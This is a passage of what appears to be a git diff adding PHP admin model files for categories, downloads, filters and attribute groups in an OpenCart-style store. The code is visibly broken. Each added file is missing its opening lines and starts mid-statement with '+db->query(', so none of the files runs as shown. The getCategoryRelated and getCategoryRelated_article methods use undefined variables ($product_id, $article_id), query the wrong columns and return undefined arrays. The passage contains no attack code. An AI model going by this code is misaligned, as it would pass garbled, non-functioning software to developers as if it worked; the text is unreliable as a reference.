+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_group_description WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ foreach ($query->rows as $result) {
+ $attribute_group_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $attribute_group_data;
+ }
+
+ public function getTotalAttributeGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "attribute_group");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/category.php b/public/admin/model/catalog/category.php
new file mode 100644
index 0000000..4823efa
--- /dev/null
+++ b/public/admin/model/catalog/category.php
@@ -0,0 +1,486 @@
+db->query("INSERT INTO " . DB_PREFIX . "category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW(), date_added = NOW()");
+
+ $category_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY `level` ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', `level` = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', `level` = '" . (int)$level . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'category_id=" . (int)$category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_wb SET category_id = '" . (int)$category_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_wb SET category_id = '" . (int)$category_id . "', article_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // Set which layout to use with this category
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ return $category_id;
+ }
+
+ public function editCategory($category_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW() WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE path_id = '" . (int)$category_id . "' ORDER BY level ASC");
+
+ if ($query->rows) {
+ foreach ($query->rows as $category_path) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' AND level < '" . (int)$category_path['level'] . "'");
+
+ $path = array();
+
+ // Get the nodes new parents
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Get whats left of the nodes current path
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Combine the paths with a new level
+ $level = 0;
+
+ foreach ($path as $path_id) {
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category_path['category_id'] . "', `path_id` = '" . (int)$path_id . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+ }
+ } else {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category_id . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', level = '" . (int)$level . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'category_id=" . (int)$category_id . "'");
+
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'category_id=" . (int)$category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_wb SET category_id = '" . (int)$category_id . "', product_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "' AND article_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_wb SET category_id = '" . (int)$category_id . "', article_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function editCategoryStatus($category_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET status = '" . (int)$status . "', date_modified = NOW() WHERE category_id = '" . (int)$category_id . "'");
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ }
+
+ public function deleteCategory($category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_path WHERE category_id = '" . (int)$category_id . "'");
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_path WHERE path_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $this->deleteCategory($result['category_id']);
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_description WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_store WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_layout WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'category_id=" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_category WHERE category_id = '" . (int)$category_id . "'");
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function repairCategories($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category WHERE parent_id = '" . (int)$parent_id . "'");
+
+ foreach ($query->rows as $category) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category['category_id'] . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$parent_id . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$category['category_id'] . "', level = '" . (int)$level . "'");
+
+ $this->repairCategories($category['category_id']);
+ }
+ }
+
+ public function getCategory($category_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT GROUP_CONCAT(cd1.name ORDER BY level SEPARATOR ' > ') FROM " . DB_PREFIX . "category_path cp LEFT JOIN " . DB_PREFIX . "category_description cd1 ON (cp.path_id = cd1.category_id AND cp.category_id != cp.path_id) WHERE cp.category_id = c.category_id AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' GROUP BY cp.category_id) AS path FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd2 ON (c.category_id = cd2.category_id) WHERE c.category_id = '" . (int)$category_id . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getAllCategories() {
+ $result = $this->cache->get('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'));
+
+ if (!$result || !is_array($result)) {
+ $query = $this->db->query("SELECT c.category_id, c.parent_id, name FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) LEFT JOIN " . DB_PREFIX . "category_to_store c2s ON (c.category_id = c2s.category_id) WHERE cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' ORDER BY c.parent_id, c.sort_order, cd.name");
+
+ $categories = array();
+
+ foreach ($query->rows as $row) {
+ $categories[$row['parent_id']][$row['category_id']] = $row;
+ }
+
+ $result = $this->getCategories($categories);
+
+ $this->cache->set('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'), $result);
+ }
+
+ return $result;
+ }
+
+ public function getCategories($data = array()) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order, c1.noindex FROM " . DB_PREFIX . "category_path cp LEFT JOIN " . DB_PREFIX . "category c1 ON (cp.category_id = c1.category_id) LEFT JOIN " . DB_PREFIX . "category c2 ON (cp.path_id = c2.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd1 ON (cp.path_id = cd1.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd2 ON (cp.category_id = cd2.category_id) WHERE cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " GROUP BY cp.category_id";
+
+ $sort_data = array(
+ 'name',
+ 'sort_order',
+ 'noindex'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCategoryDescriptions($category_id) {
+ $category_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+
+ return $category_description_data;
+ }
+
+ public function getCategoryPath($category_id) {
+ $query = $this->db->query("SELECT category_id, path_id, level FROM " . DB_PREFIX . "category_path WHERE category_id = '" . (int)$category_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getCategoryFilters($category_id) {
+ $category_filter_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_filter_data[] = $result['filter_id'];
+ }
+
+ return $category_filter_data;
+ }
+
+ public function getCategoryStores($category_id) {
+ $category_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_store_data[] = $result['store_id'];
+ }
+
+ return $category_store_data;
+ }
+
+ public function getCategorySeoUrls($category_id) {
+ $category_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'category_id=" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $category_seo_url_data;
+ }
+
+ public function getCategoryRelated($category_id) {
+ $category_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_wb WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getCategoryRelated_article($category_id) {
+ $category_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_wb WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['related_id'];
+ }
+
+ return $article_related_data;
+ }
+
+ public function getCategoryLayouts($category_id) {
+ $category_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $category_layout_data;
+ }
+
+ public function getTotalCategories() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "category");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCategoriesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "category_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getCategoriesByParentId($parent_id = 0) {
+ $query = $this->db->query("SELECT *, (SELECT COUNT(parent_id) FROM " . DB_PREFIX . "category WHERE parent_id = c.category_id) AS children FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) WHERE c.parent_id = '" . (int)$parent_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY c.sort_order, cd.name");
+ return $query->rows;
+ }
+
+ public function getCategoriesChildren($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_path WHERE path_id = '" . (int)$parent_id . "'");
+ return $query->rows;
+ }
+
+ public function getProductRelated($category_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['product_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getArticleRelated($category_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['article_id'];
+ }
+
+ return $article_related_data;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/download.php b/public/admin/model/catalog/download.php
new file mode 100644
index 0000000..1849d2a
--- /dev/null
+++ b/public/admin/model/catalog/download.php
@@ -0,0 +1,94 @@
+db->query("INSERT INTO " . DB_PREFIX . "download SET filename = '" . $this->db->escape($data['filename']) . "', mask = '" . $this->db->escape($data['mask']) . "', date_added = NOW()");
+
+ $download_id = $this->db->getLastId();
+
+ foreach ($data['download_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ return $download_id;
+ }
+
+ public function editDownload($download_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "download SET filename = '" . $this->db->escape($data['filename']) . "', mask = '" . $this->db->escape($data['mask']) . "' WHERE download_id = '" . (int)$download_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");
+
+ foreach ($data['download_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+ }
+
+ public function deleteDownload($download_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "download WHERE download_id = '" . (int)$download_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");
+ }
+
+ public function getDownload($download_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "download d LEFT JOIN " . DB_PREFIX . "download_description dd ON (d.download_id = dd.download_id) WHERE d.download_id = '" . (int)$download_id . "' AND dd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getDownloads($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "download d LEFT JOIN " . DB_PREFIX . "download_description dd ON (d.download_id = dd.download_id) WHERE dd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND dd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'dd.name',
+ 'd.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY dd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getDownloadDescriptions($download_id) {
+ $download_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");
+
+ foreach ($query->rows as $result) {
+ $download_description_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $download_description_data;
+ }
+
+ public function getTotalDownloads() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "download");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/filter.php b/public/admin/model/catalog/filter.php
new file mode 100644
index 0000000..830e1f6
--- /dev/null
+++ b/public/admin/model/catalog/filter.php
@@ -0,0 +1,179 @@
+db->query("INSERT INTO `" . DB_PREFIX . "filter_group` SET sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $filter_group_id = $this->db->getLastId();
+
+ foreach ($data['filter_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_group_description SET filter_group_id = '" . (int)$filter_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ if (isset($data['filter'])) {
+ foreach ($data['filter'] as $filter) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter SET filter_group_id = '" . (int)$filter_group_id . "', sort_order = '" . (int)$filter['sort_order'] . "'");
+
+ $filter_id = $this->db->getLastId();
+
+ foreach ($filter['filter_description'] as $language_id => $filter_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_description SET filter_id = '" . (int)$filter_id . "', language_id = '" . (int)$language_id . "', filter_group_id = '" . (int)$filter_group_id . "', name = '" . $this->db->escape($filter_description['name']) . "'");
+ }
+ }
+ }
+
+ return $filter_group_id;
+ }
+
+ public function editFilter($filter_group_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "filter_group` SET sort_order = '" . (int)$data['sort_order'] . "' WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "filter_group_description WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ foreach ($data['filter_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_group_description SET filter_group_id = '" . (int)$filter_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "filter WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "filter_description WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ if (isset($data['filter'])) {
+ foreach ($data['filter'] as $filter) {
+ if ($filter['filter_id']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter SET filter_id = '" . (int)$filter['filter_id'] . "', filter_group_id = '" . (int)$filter_group_id . "', sort_order = '" . (int)$filter['sort_order'] . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter SET filter_group_id = '" . (int)$filter_group_id . "', sort_order = '" . (int)$filter['sort_order'] . "'");
+ }
+
+ $filter_id = $this->db->getLastId();
+
+ foreach ($filter['filter_description'] as $language_id => $filter_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_description SET filter_id = '" . (int)$filter_id . "', language_id = '" . (int)$language_id . "', filter_group_id = '" . (int)$filter_group_id . "', name = '" . $this->db->escape($filter_description['name']) . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteFilter($filter_group_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter_group` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter_group_description` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter_description` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ }
+
+ public function getFilterGroup($filter_group_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "filter_group` fg LEFT JOIN " . DB_PREFIX . "filter_group_description fgd ON (fg.filter_group_id = fgd.filter_group_id) WHERE fg.filter_group_id = '" . (int)$filter_group_id . "' AND fgd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getFilterGroups($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "filter_group` fg LEFT JOIN " . DB_PREFIX . "filter_group_description fgd ON (fg.filter_group_id = fgd.filter_group_id) WHERE fgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'fgd.name',
+ 'fg.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY fgd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getFilterGroupDescriptions($filter_group_id) {
+ $filter_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_group_description WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
